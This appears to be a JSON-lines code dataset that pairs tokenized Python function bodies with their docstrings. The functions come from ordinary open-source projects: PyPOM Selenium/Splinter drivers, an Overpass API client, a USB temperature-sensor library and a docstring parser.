{"signature": "@hookspec<EOL>def pypom_after_wait_for_region_to_load(region):", "body": "", "docstring": "Called after waiting for the region to load", "id": "f11288:m1"}
{"signature": "def wait_factory(timeout):", "body": "", "docstring": "Returns a WebDriverWait like property for a given timeout.\n\n        :param timeout: Timeout used by WebDriverWait like calls\n        :type timeout: int", "id": "f11290:c1:m0"}
{"signature": "def open(url):", "body": "", "docstring": "Open the page.\n        Navigates to :py:attr:`url`", "id": "f11290:c1:m1"}
{"signature": "def find_element(strategy, locator, root=None):", "body": "", "docstring": "Finds an element on the page.\n\n        :param strategy: Location strategy to use (type depends on the driver implementation)\n        :param locator: Location of target element.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: web element object or None.\n        :return: web element object\n        :rtype: it depends on the driver implementation", "id": "f11290:c1:m2"}
{"signature": "def find_elements(strategy, locator, root=None):", "body": "", "docstring": "Finds elements on the page.\n\n        :param strategy: Location strategy to use (type depends on the driver implementation)\n        :param locator: Location of target elements.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: web element object or None.\n        :return: iterable of web element objects\n        :rtype: iterable (if depends on the driver implementation)", "id": "f11290:c1:m3"}
{"signature": "def is_element_present(strategy, locator, root=None):", "body": "", "docstring": "Checks whether an element is present.\n\n        :param strategy: Location strategy to use (type depends on the driver implementation)\n        :param locator: Location of target element.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: web element object or None.\n        :return: ``True`` if element is present, else ``False``.\n        :rtype: bool", "id": "f11290:c1:m4"}
{"signature": "def is_element_displayed(strategy, locator, root=None):", "body": "", "docstring": "Checks whether an element is displayed.\n\n        :param strategy: Location strategy to use (type depends on the driver implementation)\n        :param locator: Location of target element.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: web element object or None.\n        :return: ``True`` if element is displayed, else ``False``.\n        :rtype: bool", "id": "f11290:c1:m5"}
{"signature": "def registerDriver(iface, driver, class_implements=[]):", "body": "for class_item in class_implements:<EOL><INDENT>classImplements(class_item, iface)<EOL><DEDENT>component.provideAdapter(factory=driver, adapts=[iface], provides=IDriver)<EOL>", "docstring": "Register driver adapter used by page object", "id": "f11292:m0"}
{"signature": "def register():", "body": "registerDriver(<EOL>ISelenium,<EOL>Selenium,<EOL>class_implements=[<EOL>Firefox,<EOL>Chrome,<EOL>Ie,<EOL>Edge,<EOL>Opera,<EOL>Safari,<EOL>BlackBerry,<EOL>PhantomJS,<EOL>Android,<EOL>Remote,<EOL>EventFiringWebDriver,<EOL>],<EOL>)<EOL>", "docstring": "Register the Selenium specific driver implementation.\n\n        This register call is performed by the init module if\n        selenium is available.", "id": "f11293:m0"}
{"signature": "def wait_factory(self, timeout):", "body": "return WebDriverWait(self.driver, timeout)<EOL>", "docstring": "Returns a WebDriverWait like property for a given timeout.\n\n        :param timeout: Timeout used by WebDriverWait calls\n        :type timeout: int", "id": "f11293:c1:m1"}
{"signature": "def open(self, url):", "body": "self.driver.get(url)<EOL>", "docstring": "Open the page.\n        Navigates to :py:attr:`url`", "id": "f11293:c1:m2"}
{"signature": "def find_element(self, strategy, locator, root=None):", "body": "if root is not None:<EOL><INDENT>return root.find_element(strategy, locator)<EOL><DEDENT>return self.driver.find_element(strategy, locator)<EOL>", "docstring": "Finds an element on the page.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` for valid values.\n        :param locator: Location of target element.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: str :py:class:`~selenium.webdriver.remote.webelement.WebElement` object or None.\n        :return: :py:class:`~selenium.webdriver.remote.webelement.WebElement` object.\n        :rtype: selenium.webdriver.remote.webelement.WebElement", "id": "f11293:c1:m3"}
{"signature": "def find_elements(self, strategy, locator, root=None):", "body": "if root is not None:<EOL><INDENT>return root.find_elements(strategy, locator)<EOL><DEDENT>return self.driver.find_elements(strategy, locator)<EOL>", "docstring": "Finds elements on the page.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` for valid values.\n        :param locator: Location of target elements.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: str :py:class:`~selenium.webdriver.remote.webelement.WebElement` object or None.\n        :return: List of :py:class:`~selenium.webdriver.remote.webelement.WebElement` objects.\n        :rtype: list", "id": "f11293:c1:m4"}
{"signature": "def is_element_present(self, strategy, locator, root=None):", "body": "try:<EOL><INDENT>return self.find_element(strategy, locator, root=root)<EOL><DEDENT>except NoSuchElementException:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks whether an element is present.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` for valid values.\n        :param locator: Location of target element.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: str :py:class:`~selenium.webdriver.remote.webelement.WebElement` object or None.\n        :return: ``True`` if element is present, else ``False``.\n        :rtype: bool", "id": "f11293:c1:m5"}
{"signature": "def is_element_displayed(self, strategy, locator, root=None):", "body": "try:<EOL><INDENT>return self.find_element(strategy, locator, root=root).is_displayed()<EOL><DEDENT>except NoSuchElementException:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks whether an element is displayed.\n\n        :param strategy: Location strategy to use. See :py:class:`~selenium.webdriver.common.by.By` for valid values.\n        :param locator: Location of target element.\n        :param root: (optional) root node.\n        :type strategy: str\n        :type locator: str\n        :type root: str :py:class:`~selenium.webdriver.remote.webelement.WebElement` object or None.\n        :return: ``True`` if element is displayed, else ``False``.\n        :rtype: bool", "id": "f11293:c1:m6"}
{"signature": "def register():", "body": "registerDriver(<EOL>ISplinter,<EOL>Splinter,<EOL>class_implements=[<EOL>FirefoxWebDriver,<EOL>ChromeWebDriver,<EOL>RemoteWebDriver,<EOL>],<EOL>)<EOL>", "docstring": "Register the Selenium specific driver implementation.\n\n        This register call is performed by the init module if\n        selenium is available.", "id": "f11295:m0"}
{"signature": "def open(self, url):", "body": "self.driver.visit(url)<EOL>", "docstring": "Open the page.\n        Navigates to :py:attr:`url`", "id": "f11295:c1:m1"}
{"signature": "def find_element(self, strategy, locator, root=None):", "body": "elements = self.find_elements(strategy, locator, root=root)<EOL>return elements and elements.first or None<EOL>", "docstring": "Finds an element on the page.\n\n        :param strategy: Location strategy to use. See pypom.splinter_driver.ALLOWED_STRATEGIES for valid values.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: :py:class:`~splinter.driver.webdriver.WebDriverElement`.\n        :rtype: splinter.driver.webdriver.WebDriverElement", "id": "f11295:c1:m2"}
{"signature": "def find_elements(self, strategy, locator, root=None):", "body": "node = root or self.driver<EOL>if strategy in ALLOWED_STRATEGIES:<EOL><INDENT>return getattr(node, \"<STR_LIT>\" + strategy)(locator)<EOL><DEDENT>raise UsageError(\"<STR_LIT>\")<EOL>", "docstring": "Finds elements on the page.\n\n        :param strategy: Location strategy to use. See pypom.splinter_driver.ALLOWED_STRATEGIES for valid values.\n        :param locator: Location of target elements.\n        :type strategy: str\n        :type locator: str\n        :return: List of :py:class:`~splinter.driver.webdriver.WebDriverElement`\n        :rtype: :py:class:`splinter.element_list.ElementList`", "id": "f11295:c1:m3"}
{"signature": "def is_element_present(self, strategy, locator, root=None):", "body": "return self.find_element(strategy, locator, root=root) and True or False<EOL>", "docstring": "Checks whether an element is present.\n\n        :param strategy: Location strategy to use. See pypom.splinter_driver.ALLOWED_STRATEGIES for valid values.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: ``True`` if element is present, else ``False``.\n        :rtype: bool", "id": "f11295:c1:m4"}
{"signature": "def is_element_displayed(self, strategy, locator, root=None):", "body": "element = self.find_element(strategy, locator, root=root)<EOL>return element and element.visible or False<EOL>", "docstring": "Checks whether an element is displayed.\n\n        :param strategy: Location strategy to use. See pypom.splinter_driver.ALLOWED_STRATEGIES for valid values.\n        :param locator: Location of target element.\n        :type strategy: str\n        :type locator: str\n        :return: ``True`` if element is displayed, else ``False``.\n        :rtype: bool", "id": "f11295:c1:m5"}
{"signature": "def __init__(self, south, west, north, east):", "body": "self.west = west<EOL>self.south = south<EOL>self.east = east<EOL>self.north = north<EOL>", "docstring": "Initialize query with given bounding box.\n\n:param bbox Bounding box with limit values in format west, south,\neast, north.", "id": "f11302:c0:m0"}
{"signature": "def __init__(self, query_parameters):", "body": "self.query_parameters = query_parameters<EOL>", "docstring": "Initialize a query for a set of ways satisfying the given parameters.\n\n        :param query_parameters Overpass QL query parameters", "id": "f11302:c1:m0"}
{"signature": "def get(self, query, responseformat=\"<STR_LIT>\", verbosity=\"<STR_LIT:body>\", build=True):", "body": "<EOL>if build:<EOL><INDENT>full_query = self._construct_ql_query(<EOL>query, responseformat=responseformat, verbosity=verbosity<EOL>)<EOL><DEDENT>else:<EOL><INDENT>full_query = query<EOL><DEDENT>if self.debug:<EOL><INDENT>logging.getLogger().info(query)<EOL><DEDENT>r = self._get_from_overpass(full_query)<EOL>content_type = r.headers.get(\"<STR_LIT>\")<EOL>if self.debug:<EOL><INDENT>print(content_type)<EOL><DEDENT>if content_type == \"<STR_LIT>\":<EOL><INDENT>result = []<EOL>reader = csv.reader(StringIO(r.text), delimiter=\"<STR_LIT:\\t>\")<EOL>for row in reader:<EOL><INDENT>result.append(row)<EOL><DEDENT>return result<EOL><DEDENT>elif content_type in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return r.text<EOL><DEDENT>elif content_type == \"<STR_LIT:application/json>\":<EOL><INDENT>response = json.loads(r.text)<EOL><DEDENT>if not build:<EOL><INDENT>return response<EOL><DEDENT>if \"<STR_LIT>\" not in response:<EOL><INDENT>raise UnknownOverpassError(\"<STR_LIT>\")<EOL><DEDENT>overpass_remark = response.get(\"<STR_LIT>\", None)<EOL>if overpass_remark and overpass_remark.startswith(\"<STR_LIT>\"):<EOL><INDENT>raise ServerRuntimeError(overpass_remark)<EOL><DEDENT>if responseformat is not \"<STR_LIT>\":<EOL><INDENT>return response<EOL><DEDENT>return self._as_geojson(response[\"<STR_LIT>\"])<EOL>", "docstring": "Pass in an Overpass query in Overpass QL.", "id": "f11305:c0:m1"}
{"signature": "def search(self, feature_type, regex=False):", "body": "raise NotImplementedError()<EOL>", "docstring": "Search for something.", "id": "f11305:c0:m2"}
{"signature": "def readattr(path, name):", "body": "try:<EOL><INDENT>f = open(USB_SYS_PREFIX + path + \"<STR_LIT:/>\" + name)<EOL>return f.readline().rstrip(\"<STR_LIT:\\n>\")<EOL><DEDENT>except IOError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Read attribute from sysfs and return as string", "id": "f11313:m0"}
{"signature": "def find_ports(device):", "body": "bus_id = device.bus<EOL>dev_id = device.address<EOL>for dirent in os.listdir(USB_SYS_PREFIX):<EOL><INDENT>matches = re.match(USB_PORTS_STR + '<STR_LIT:$>', dirent)<EOL>if matches:<EOL><INDENT>bus_str = readattr(dirent, '<STR_LIT>')<EOL>if bus_str:<EOL><INDENT>busnum = float(bus_str)<EOL><DEDENT>else:<EOL><INDENT>busnum = None<EOL><DEDENT>dev_str = readattr(dirent, '<STR_LIT>')<EOL>if dev_str:<EOL><INDENT>devnum = float(dev_str)<EOL><DEDENT>else:<EOL><INDENT>devnum = None<EOL><DEDENT>if busnum == bus_id and devnum == dev_id:<EOL><INDENT>return str(matches.groups()[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Find the port chain a device is plugged on.\n\nThis is done by searching sysfs for a device that matches the device\nbus/address combination.\n\nUseful when the underlying usb lib does not return device.port_number for\nwhatever reason.", "id": "f11313:m1"}
{"signature": "def set_calibration_data(self, scale=None, offset=None):", "body": "if scale is not None and offset is not None:<EOL><INDENT>self._scale = scale<EOL>self._offset = offset<EOL><DEDENT>elif scale is None and offset is None:<EOL><INDENT>self._scale = <NUM_LIT:1.0><EOL>self._offset = <NUM_LIT:0.0><EOL>try:<EOL><INDENT>f = open('<STR_LIT>', '<STR_LIT:r>')<EOL><DEDENT>except IOError:<EOL><INDENT>f = None<EOL><DEDENT>if f:<EOL><INDENT>lines = f.read().split('<STR_LIT:\\n>')<EOL>f.close()<EOL>for line in lines:<EOL><INDENT>matches = re.match(CALIB_LINE_STR, line)<EOL>if matches:<EOL><INDENT>bus = int(matches.groups()[<NUM_LIT:0>])<EOL>ports = matches.groups()[<NUM_LIT:1>]<EOL>scale = float(matches.groups()[<NUM_LIT:2>])<EOL>offset = float(matches.groups()[<NUM_LIT:3>])<EOL>if (str(ports) == str(self._ports)) and (str(bus) == str(self._bus)):<EOL><INDENT>self._scale = scale<EOL>self._offset = offset<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Set device calibration data based on settings in /etc/temper.conf.", "id": "f11313:c0:m1"}
{"signature": "def lookup_offset(self, sensor):", "body": "if self._device.product == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:4><EOL><DEDENT>return (sensor + <NUM_LIT:1>) * <NUM_LIT:2><EOL>", "docstring": "Lookup the number of sensors on the device by product name.", "id": "f11313:c0:m2"}
{"signature": "def lookup_humidity_offset(self, sensor):", "body": "if self._device.product == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:4><EOL><DEDENT>return None<EOL>", "docstring": "Lookup the offset of the humidity data by product name.", "id": "f11313:c0:m3"}
{"signature": "def lookup_sensor_count(self):", "body": "if (self._device.product == '<STR_LIT>') or(self._device.product == '<STR_LIT>'):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:2><EOL>", "docstring": "Lookup the number of sensors on the device by product name.", "id": "f11313:c0:m4"}
{"signature": "def get_sensor_count(self):", "body": "return self._sensor_count<EOL>", "docstring": "Get number of sensors on the device.", "id": "f11313:c0:m5"}
{"signature": "def set_sensor_count(self, count):", "body": "<EOL>if count not in [<NUM_LIT:1>, <NUM_LIT:2>,]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._sensor_count = int(count)<EOL>", "docstring": "Set number of sensors on the device.\n\nTo do: revamp /etc/temper.conf file to include this data.", "id": "f11313:c0:m6"}
{"signature": "def get_ports(self):", "body": "if self._ports:<EOL><INDENT>return self._ports<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Get device USB ports.", "id": "f11313:c0:m7"}
{"signature": "def get_bus(self):", "body": "if self._bus:<EOL><INDENT>return self._bus<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Get device USB bus.", "id": "f11313:c0:m8"}
{"signature": "def get_data(self, reset_device=False):", "body": "try:<EOL><INDENT>if reset_device:<EOL><INDENT>self._device.reset()<EOL><DEDENT>for interface in [<NUM_LIT:0>,<NUM_LIT:1>]:<EOL><INDENT>if self._device.is_kernel_driver_active(interface):<EOL><INDENT>LOGGER.debug('<STR_LIT>'<EOL>'<STR_LIT>', interface, self._device, self._ports)<EOL>self._device.detach_kernel_driver(interface)<EOL><DEDENT><DEDENT>self._device.set_configuration()<EOL>usb.util.claim_interface(self._device, INTERFACE)<EOL>self._control_transfer(COMMANDS['<STR_LIT>'])<EOL>self._interrupt_read()<EOL>self._control_transfer(COMMANDS['<STR_LIT>'])<EOL>temp_data = self._interrupt_read()<EOL>if self._device.product == '<STR_LIT>':<EOL><INDENT>humidity_data = temp_data<EOL><DEDENT>else:<EOL><INDENT>humidity_data = None<EOL><DEDENT>data = {'<STR_LIT>': temp_data, '<STR_LIT>': humidity_data}<EOL>usb.util.dispose_resources(self._device)<EOL>return data<EOL><DEDENT>except usb.USBError as err:<EOL><INDENT>if not reset_device:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\", err, self._device)<EOL>return self.get_data(True)<EOL><DEDENT>if \"<STR_LIT>\" in str(err):<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>LOGGER.error(err)<EOL>raise<EOL><DEDENT><DEDENT>", "docstring": "Get data from the USB device.", "id": "f11313:c0:m9"}
{"signature": "def get_temperature(self, format='<STR_LIT>', sensor=<NUM_LIT:0>):", "body": "results = self.get_temperatures(sensors=[sensor,])<EOL>if format == '<STR_LIT>':<EOL><INDENT>return results[sensor]['<STR_LIT>']<EOL><DEDENT>elif format == '<STR_LIT>':<EOL><INDENT>return results[sensor]['<STR_LIT>']<EOL><DEDENT>elif format == '<STR_LIT>':<EOL><INDENT>return results[sensor]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Get device temperature reading.", "id": "f11313:c0:m10"}
{"signature": "def get_temperatures(self, sensors=None):", "body": "_sensors = sensors<EOL>if _sensors is None:<EOL><INDENT>_sensors = list(range(<NUM_LIT:0>, self._sensor_count))<EOL><DEDENT>if not set(_sensors).issubset(list(range(<NUM_LIT:0>, self._sensor_count))):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (<EOL>_sensors,<EOL>self._sensor_count,<EOL>list(range(<NUM_LIT:0>, self._sensor_count)),<EOL>)<EOL>)<EOL><DEDENT>data = self.get_data()<EOL>data = data['<STR_LIT>']<EOL>results = {}<EOL>for sensor in _sensors:<EOL><INDENT>offset = self.lookup_offset(sensor)<EOL>celsius = struct.unpack_from('<STR_LIT>', data, offset)[<NUM_LIT:0>] / <NUM_LIT><EOL>celsius = celsius * self._scale + self._offset<EOL>results[sensor] = {<EOL>'<STR_LIT>': self.get_ports(),<EOL>'<STR_LIT>': self.get_bus(),<EOL>'<STR_LIT>': sensor,<EOL>'<STR_LIT>': celsius * <NUM_LIT> + <NUM_LIT>,<EOL>'<STR_LIT>': celsius,<EOL>'<STR_LIT>': celsius * <NUM_LIT:1000>,<EOL>'<STR_LIT>': celsius + <NUM_LIT>,<EOL>}<EOL><DEDENT>return results<EOL>", "docstring": "Get device temperature reading.\n\nParams:\n- sensors: optional list of sensors to get a reading for, examples:\n  [0,] - get reading for sensor 0\n  [0, 1,] - get reading for sensors 0 and 1\n  None - get readings for all sensors", "id": "f11313:c0:m11"}
{"signature": "def get_humidity(self, sensors=None):", "body": "_sensors = sensors<EOL>if _sensors is None:<EOL><INDENT>_sensors = list(range(<NUM_LIT:0>, self._sensor_count))<EOL><DEDENT>if not set(_sensors).issubset(list(range(<NUM_LIT:0>, self._sensor_count))):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (<EOL>_sensors,<EOL>self._sensor_count,<EOL>list(range(<NUM_LIT:0>, self._sensor_count)),<EOL>)<EOL>)<EOL><DEDENT>data = self.get_data()<EOL>data = data['<STR_LIT>']<EOL>results = {}<EOL>for sensor in _sensors:<EOL><INDENT>offset = self.lookup_humidity_offset(sensor)<EOL>if offset is None:<EOL><INDENT>continue<EOL><DEDENT>humidity = (struct.unpack_from('<STR_LIT>', data, offset)[<NUM_LIT:0>] * <NUM_LIT:32>) / <NUM_LIT><EOL>results[sensor] = {<EOL>'<STR_LIT>': self.get_ports(),<EOL>'<STR_LIT>': self.get_bus(),<EOL>'<STR_LIT>': sensor,<EOL>'<STR_LIT>': humidity,<EOL>}<EOL><DEDENT>return results<EOL>", "docstring": "Get device humidity reading.\n\nParams:\n- sensors: optional list of sensors to get a reading for, examples:\n  [0,] - get reading for sensor 0\n  [0, 1,] - get reading for sensors 0 and 1\n  None - get readings for all sensors", "id": "f11313:c0:m12"}
{"signature": "def _control_transfer(self, data):", "body": "LOGGER.debug('<STR_LIT>', data)<EOL>self._device.ctrl_transfer(bmRequestType=<NUM_LIT>, bRequest=<NUM_LIT>,<EOL>wValue=<NUM_LIT>, wIndex=<NUM_LIT>, data_or_wLength=data, timeout=TIMEOUT)<EOL>", "docstring": "Send device a control request with standard parameters and <data> as\npayload.", "id": "f11313:c0:m13"}
{"signature": "def _interrupt_read(self):", "body": "data = self._device.read(ENDPOINT, REQ_INT_LEN, timeout=TIMEOUT)<EOL>LOGGER.debug('<STR_LIT>', data)<EOL>return data<EOL>", "docstring": "Read data from device.", "id": "f11313:c0:m14"}
{"signature": "def close(self):", "body": "pass<EOL>", "docstring": "Does nothing in this device. Other device types may need to do cleanup here.", "id": "f11313:c0:m15"}
{"signature": "def get_devices(self):", "body": "return self._devices<EOL>", "docstring": "Get a list of all devices attached to this handler", "id": "f11313:c1:m1"}
{"signature": "def hello_jp():", "body": "return u\"<STR_LIT>\"<EOL>", "docstring": "Return 'Hello' in Japanese ('\u3053\u3093\u306b\u3061\u306f').", "id": "f11318:m0"}
{"signature": "def get_version(fname=\"<STR_LIT>\"):", "body": "with open(fname) as f:<EOL><INDENT>for line in f:<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>return eval(line.split(\"<STR_LIT:=>\")[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parse our source code to get the current version number.", "id": "f11325:m0"}
{"signature": "def code_mapping(level, msg, default=<NUM_LIT>):", "body": "try:<EOL><INDENT>return code_mappings_by_level[level][msg]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>if msg.count('<STR_LIT:\">') == <NUM_LIT:2> and '<STR_LIT>' in msg and msg.endswith('<STR_LIT>'):<EOL><INDENT>txt = msg[: msg.index('<STR_LIT>')]<EOL>return code_mappings_by_level[level].get(txt, default)<EOL><DEDENT>return default<EOL>", "docstring": "Return an error code between 0 and 99.", "id": "f11326:m0"}
{"signature": "def trim(docstring):", "body": "if not docstring:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>lines = docstring.expandtabs().splitlines()<EOL>indent = sys.maxsize<EOL>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>stripped = line.lstrip()<EOL>if stripped:<EOL><INDENT>indent = min(indent, len(line) - len(stripped))<EOL><DEDENT><DEDENT>trimmed = [lines[<NUM_LIT:0>].strip()]<EOL>if indent < sys.maxsize:<EOL><INDENT>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>trimmed.append(line[indent:].rstrip())<EOL><DEDENT><DEDENT>while trimmed and not trimmed[-<NUM_LIT:1>]:<EOL><INDENT>trimmed.pop()<EOL><DEDENT>while trimmed and not trimmed[<NUM_LIT:0>]:<EOL><INDENT>trimmed.pop(<NUM_LIT:0>)<EOL><DEDENT>return \"<STR_LIT:\\n>\".join(trimmed)<EOL>", "docstring": "PEP257 docstring indentation trim function.", "id": "f11326:m1"}
{"signature": "def dequote_docstring(text):", "body": "<EOL>text = text.strip()<EOL>if len(text) > <NUM_LIT:6> and text[:<NUM_LIT:3>] == text[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>return text[<NUM_LIT:3>:-<NUM_LIT:3>]<EOL><DEDENT>if len(text) > <NUM_LIT:7> and text[:<NUM_LIT:4>] in ('<STR_LIT>', '<STR_LIT>') and text[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>return text[<NUM_LIT:4>:-<NUM_LIT:3>]<EOL><DEDENT>if len(text) > <NUM_LIT:6> and text[:<NUM_LIT:3>] == text[-<NUM_LIT:3>:] == \"<STR_LIT>\":<EOL><INDENT>return text[<NUM_LIT:3>:-<NUM_LIT:3>]<EOL><DEDENT>if len(text) > <NUM_LIT:7> and text[:<NUM_LIT:4>] in (\"<STR_LIT>\", \"<STR_LIT>\") and text[-<NUM_LIT:3>:] == \"<STR_LIT>\":<EOL><INDENT>return text[<NUM_LIT:4>:-<NUM_LIT:3>]<EOL><DEDENT>if len(text) > <NUM_LIT:2> and text[<NUM_LIT:0>] == text[-<NUM_LIT:1>] == '<STR_LIT:\">':<EOL><INDENT>return text[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>if len(text) > <NUM_LIT:3> and text[:<NUM_LIT:2>] in ('<STR_LIT>', '<STR_LIT>') and text[-<NUM_LIT:1>] == '<STR_LIT:\">':<EOL><INDENT>return text[<NUM_LIT:2>:-<NUM_LIT:1>]<EOL><DEDENT>if len(text) > <NUM_LIT:2> and text[<NUM_LIT:0>] == text[-<NUM_LIT:1>] == \"<STR_LIT:'>\":<EOL><INDENT>return text[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>if len(text) > <NUM_LIT:3> and text[:<NUM_LIT:2>] in (\"<STR_LIT>\", \"<STR_LIT>\") and text[-<NUM_LIT:1>] == \"<STR_LIT:'>\":<EOL><INDENT>return text[<NUM_LIT:2>:-<NUM_LIT:1>]<EOL><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL>", "docstring": "Remove the quotes delimiting a docstring.", "id": "f11326:m2"}
{"signature": "def humanize(string):", "body": "return re.compile(r\"<STR_LIT>\").sub(r\"<STR_LIT>\", string).lower()<EOL>", "docstring": "Make a string human readable.", "id": "f11326:m3"}
{"signature": "def __init__(self, *args):", "body": "if len(self._fields) != len(args):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(<EOL>len(args), len(self._fields), self.__class__.__name__, self._fields<EOL>)<EOL>)<EOL><DEDENT>vars(self).update(zip(self._fields, args))<EOL>", "docstring": "Initialize.", "id": "f11326:c0:m0"}
{"signature": "def __hash__(self):", "body": "return hash(repr(self))<EOL>", "docstring": "Hash.", "id": "f11326:c0:m1"}
{"signature": "def __eq__(self, other):", "body": "return other and vars(self) == vars(other)<EOL>", "docstring": "Equality.", "id": "f11326:c0:m2"}
{"signature": "def __repr__(self):", "body": "kwargs = \"<STR_LIT:U+002CU+0020>\".join(<EOL>\"<STR_LIT>\".format(field, getattr(self, field)) for field in self._fields<EOL>)<EOL>return \"<STR_LIT>\".format(self.__class__.__name__, kwargs)<EOL>", "docstring": "Representation.", "id": "f11326:c0:m3"}
{"signature": "def __iter__(self):", "body": "return chain([self], *self.children)<EOL>", "docstring": "Iterate.", "id": "f11326:c1:m0"}
{"signature": "@property<EOL><INDENT>def source(self):<DEDENT>", "body": "full_src = self._source[self._slice]<EOL>def is_empty_or_comment(line):<EOL><INDENT>return line.strip() == \"<STR_LIT>\" or line.strip().startswith(\"<STR_LIT:#>\")<EOL><DEDENT>filtered_src = dropwhile(is_empty_or_comment, reversed(full_src))<EOL>return \"<STR_LIT>\".join(reversed(list(filtered_src)))<EOL>", "docstring": "Return the source code for the definition.", "id": "f11326:c1:m2"}
{"signature": "def __str__(self):", "body": "out = \"<STR_LIT>\".format(self._publicity, self._human, self.name)<EOL>if self.skipped_error_codes:<EOL><INDENT>out += \"<STR_LIT>\".format(self.skipped_error_codes)<EOL><DEDENT>return out<EOL>", "docstring": "Definition as a string.", "id": "f11326:c1:m3"}
{"signature": "@property<EOL><INDENT>def is_public(self):<DEDENT>", "body": "return not self.name.startswith(\"<STR_LIT:_>\") or self.name.startswith(\"<STR_LIT>\")<EOL>", "docstring": "Is the module public.", "id": "f11326:c2:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Definition as a string.", "id": "f11326:c2:m1"}
{"signature": "@property<EOL><INDENT>def is_public(self):<DEDENT>", "body": "if self.all is not None:<EOL><INDENT>return self.name in self.all<EOL><DEDENT>else:<EOL><INDENT>return not self.name.startswith(\"<STR_LIT:_>\")<EOL><DEDENT>", "docstring": "Return True iff this function should be considered public.", "id": "f11326:c4:m0"}
{"signature": "@property<EOL><INDENT>def is_magic(self):<DEDENT>", "body": "return (<EOL>self.name.startswith(\"<STR_LIT>\")<EOL>and self.name.endswith(\"<STR_LIT>\")<EOL>and self.name not in VARIADIC_MAGIC_METHODS<EOL>)<EOL>", "docstring": "Return True iff this method is a magic method (e.g., `__str__`).", "id": "f11326:c6:m0"}
{"signature": "@property<EOL><INDENT>def is_public(self):<DEDENT>", "body": "<EOL>for decorator in self.decorators:<EOL><INDENT>if re.compile(r\"<STR_LIT>\".format(self.name)).match(decorator.name):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>name_is_public = (<EOL>not self.name.startswith(\"<STR_LIT:_>\")<EOL>or self.name in VARIADIC_MAGIC_METHODS<EOL>or self.is_magic<EOL>)<EOL>return self.parent.is_public and name_is_public<EOL>", "docstring": "Return True iff this method should be considered public.", "id": "f11326:c6:m1"}
{"signature": "@property<EOL><INDENT>def is_public(self):<DEDENT>", "body": "return (<EOL>not self.name.startswith(\"<STR_LIT:_>\")<EOL>and self.parent.is_class<EOL>and self.parent.is_public<EOL>)<EOL>", "docstring": "Return True iff this class should be considered public.", "id": "f11326:c8:m0"}
{"signature": "def __init__(self, message):", "body": "Exception.__init__(<EOL>self,<EOL>message<EOL>+ textwrap.dedent(<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>),<EOL>)<EOL>", "docstring": "Initialize the error with a more specific message.", "id": "f11326:c10:m0"}
{"signature": "def __init__(self, filelike):", "body": "self._generator = tk.generate_tokens(filelike.readline)<EOL>self.current = Token(*next(self._generator, None))<EOL>self.line = self.current.start[<NUM_LIT:0>]<EOL>self.log = log<EOL>self.got_logical_newline = True<EOL>", "docstring": "Initialize.", "id": "f11326:c11:m0"}
{"signature": "def move(self):", "body": "previous = self.current<EOL>current = self._next_from_generator()<EOL>self.current = None if current is None else Token(*current)<EOL>self.line = self.current.start[<NUM_LIT:0>] if self.current else self.line<EOL>self.got_logical_newline = previous.kind in self.LOGICAL_NEWLINES<EOL>return previous<EOL>", "docstring": "Move.", "id": "f11326:c11:m1"}
